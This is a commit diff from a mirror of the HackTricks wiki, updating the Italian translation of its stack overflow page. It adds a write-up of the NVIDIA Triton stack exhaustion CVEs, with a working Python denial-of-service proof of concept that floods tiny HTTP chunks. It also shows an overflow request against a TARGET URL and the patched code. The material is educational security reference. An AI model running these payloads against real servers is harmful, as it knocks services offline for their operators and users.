mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/README.md'] to it
This commit is contained in:
parent
fc7def0f1b
commit
5772f8463e
@ -4,11 +4,11 @@
|
||||
|
||||
## Che cos'è uno Stack Overflow
|
||||
|
||||
Un **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano stati allocati per contenerli. Questi dati in eccesso **sovrascriveranno lo spazio di memoria adiacente**, portando alla corruzione di dati validi, alla disruption del flusso di controllo e potenzialmente all'esecuzione di codice malevolo. Questo problema si verifica spesso a causa dell'uso di funzioni non sicure che non eseguono controlli sui limiti dell'input.
|
||||
Un **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanto ne sia stato allocato per contenerli. Questi dati in eccesso **sovrascriveranno lo spazio di memoria adiacente**, portando alla corruzione di dati validi, alla disruption del flusso di controllo e potenzialmente all'esecuzione di codice malevolo. Questo problema si verifica spesso a causa dell'uso di funzioni non sicure che non eseguono il controllo dei limiti sugli input.
|
||||
|
||||
Il problema principale di questa sovrascrittura è che il **puntatore di istruzione salvato (EIP/RIP)** e il **puntatore di base salvato (EBP/RBP)** per tornare alla funzione precedente sono **memorizzati nello stack**. Pertanto, un attaccante sarà in grado di sovrascrivere questi e **controllare il flusso di esecuzione del programma**.
|
||||
Il problema principale di questa sovrascrittura è che il **puntatore di istruzione salvato (EIP/RIP)** e il **puntatore di base salvato (EBP/RBP)** per tornare alla funzione precedente sono **memorizzati nello stack**. Pertanto, un attaccante sarà in grado di sovrascriverli e **controllare il flusso di esecuzione del programma**.
|
||||
|
||||
La vulnerabilità di solito si verifica perché una funzione **copia nello stack più byte della quantità allocata per essa**, riuscendo così a sovrascrivere altre parti dello stack.
|
||||
La vulnerabilità di solito si verifica perché una funzione **copia nello stack più byte della quantità allocata per essa**, riuscendo quindi a sovrascrivere altre parti dello stack.
|
||||
|
||||
Alcune funzioni comuni vulnerabili a questo sono: **`strcpy`, `strcat`, `sprintf`, `gets`**... Inoltre, funzioni come **`fgets`**, **`read` & `memcpy`** che prendono un **argomento di lunghezza**, potrebbero essere utilizzate in modo vulnerabile se la lunghezza specificata è maggiore di quella allocata.
|
||||
|
||||
@ -23,9 +23,9 @@ printf("You entered: %s\n", buffer);
|
||||
```
|
||||
### Trovare gli offset degli Stack Overflow
|
||||
|
||||
Il modo più comune per trovare gli stack overflow è fornire un input molto grande di `A`s (ad es. `python3 -c 'print("A"*1000)'`) e aspettarsi un `Segmentation Fault` che indica che l'**indirizzo `0x41414141` è stato tentato di essere accesso**.
|
||||
Il modo più comune per trovare gli stack overflow è fornire un input molto grande di `A`s (ad esempio `python3 -c 'print("A"*1000)'`) e aspettarsi un `Segmentation Fault` che indica che l'**indirizzo `0x41414141` è stato tentato di essere accesso**.
|
||||
|
||||
Inoltre, una volta trovata la vulnerabilità di Stack Overflow, sarà necessario trovare l'offset fino a quando non è possibile **sovrascrivere l'indirizzo di ritorno**, per questo si usa solitamente una **sequenza di De Bruijn.** Che per un dato alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_ è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza _n_ appare esattamente una volta** come sottosequenza contigua.
|
||||
Inoltre, una volta trovata la vulnerabilità di Stack Overflow, sarà necessario trovare l'offset fino a quando non sarà possibile **sovrascrivere l'indirizzo di ritorno**, per questo si usa solitamente una **sequenza di De Bruijn.** Che per un dato alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_ è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza _n_ appare esattamente una volta** come sottosequenza contigua.
|
||||
|
||||
In questo modo, invece di dover capire manualmente quale offset è necessario per controllare l'EIP, è possibile utilizzare come padding una di queste sequenze e poi trovare l'offset dei byte che hanno finito per sovrascriverlo.
|
||||
|
||||
@ -115,12 +115,72 @@ warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
Anche se i canarini dello stack abortiscono il processo, un attaccante ottiene comunque un **Denial-of-Service** primitivo (e, con ulteriori perdite di informazioni, possibilmente l'esecuzione di codice). La lezione è semplice:
|
||||
Anche se i canarini dello stack abortiscono il processo, un attaccante ottiene comunque un **Denial-of-Service** primitivo (e, con ulteriori leak di informazioni, possibilmente l'esecuzione di codice). La lezione è semplice:
|
||||
|
||||
* Fornire sempre una **larghezza massima del campo** (ad es. `%511s`).
|
||||
* Preferire alternative più sicure come `snprintf`/`strncpy_s`.
|
||||
|
||||
### Esempio del Mondo Reale: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
|
||||
Il Triton Inference Server di NVIDIA (≤ v25.06) conteneva più **overflow basati su stack** raggiungibili tramite la sua API HTTP.
|
||||
Il pattern vulnerabile appariva ripetutamente in `http_server.cc` e `sagemaker_server.cc`:
|
||||
```c
|
||||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||||
if (n > 0) {
|
||||
/* allocates 16 * n bytes on the stack */
|
||||
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
|
||||
alloca(sizeof(struct evbuffer_iovec) * n);
|
||||
...
|
||||
}
|
||||
```
|
||||
1. `evbuffer_peek` (libevent) restituisce il **numero di segmenti di buffer interni** che compongono il corpo della richiesta HTTP attuale.
|
||||
2. Ogni segmento causa l'allocazione di un **`evbuffer_iovec` di 16 byte** nello **stack** tramite `alloca()` – **senza alcun limite superiore**.
|
||||
3. Abusando del **_chunked transfer-encoding_ HTTP**, un client può forzare la richiesta a essere suddivisa in **centinaia di migliaia di chunk da 6 byte** (`"1\r\nA\r\n"`). Questo fa sì che `n` cresca senza limiti fino a esaurire lo stack.
|
||||
|
||||
#### Proof-of-Concept (DoS)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import socket, sys
|
||||
|
||||
def exploit(host="localhost", port=8000, chunks=523_800):
|
||||
s = socket.create_connection((host, port))
|
||||
s.sendall((
|
||||
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
|
||||
f"Host: {host}:{port}\r\n"
|
||||
"Content-Type: application/octet-stream\r\n"
|
||||
"Inference-Header-Content-Length: 0\r\n"
|
||||
"Transfer-Encoding: chunked\r\n"
|
||||
"Connection: close\r\n\r\n"
|
||||
).encode())
|
||||
|
||||
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
|
||||
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
|
||||
s.sendall(b"0\r\n\r\n") # end of chunks
|
||||
s.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
exploit(*sys.argv[1:])
|
||||
```
|
||||
Una richiesta di ~3 MB è sufficiente per sovrascrivere l'indirizzo di ritorno salvato e **crash** il demone su una build predefinita.
|
||||
|
||||
#### Patch & Mitigazione
|
||||
Il rilascio 25.07 sostituisce l'allocazione dello stack non sicura con un **`std::vector` supportato da heap** e gestisce in modo elegante `std::bad_alloc`:
|
||||
```c++
|
||||
std::vector<evbuffer_iovec> v_vec;
|
||||
try {
|
||||
v_vec = std::vector<evbuffer_iovec>(n);
|
||||
} catch (const std::bad_alloc &e) {
|
||||
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
|
||||
}
|
||||
struct evbuffer_iovec *v = v_vec.data();
|
||||
```
|
||||
Lezioni apprese:
|
||||
* Non chiamare `alloca()` con dimensioni controllate dall'attaccante.
|
||||
* Le richieste a chunk possono cambiare drasticamente la forma dei buffer lato server.
|
||||
* Convalida / limita qualsiasi valore derivato dall'input del client *prima* di utilizzarlo nelle allocazioni di memoria.
|
||||
|
||||
## Riferimenti
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user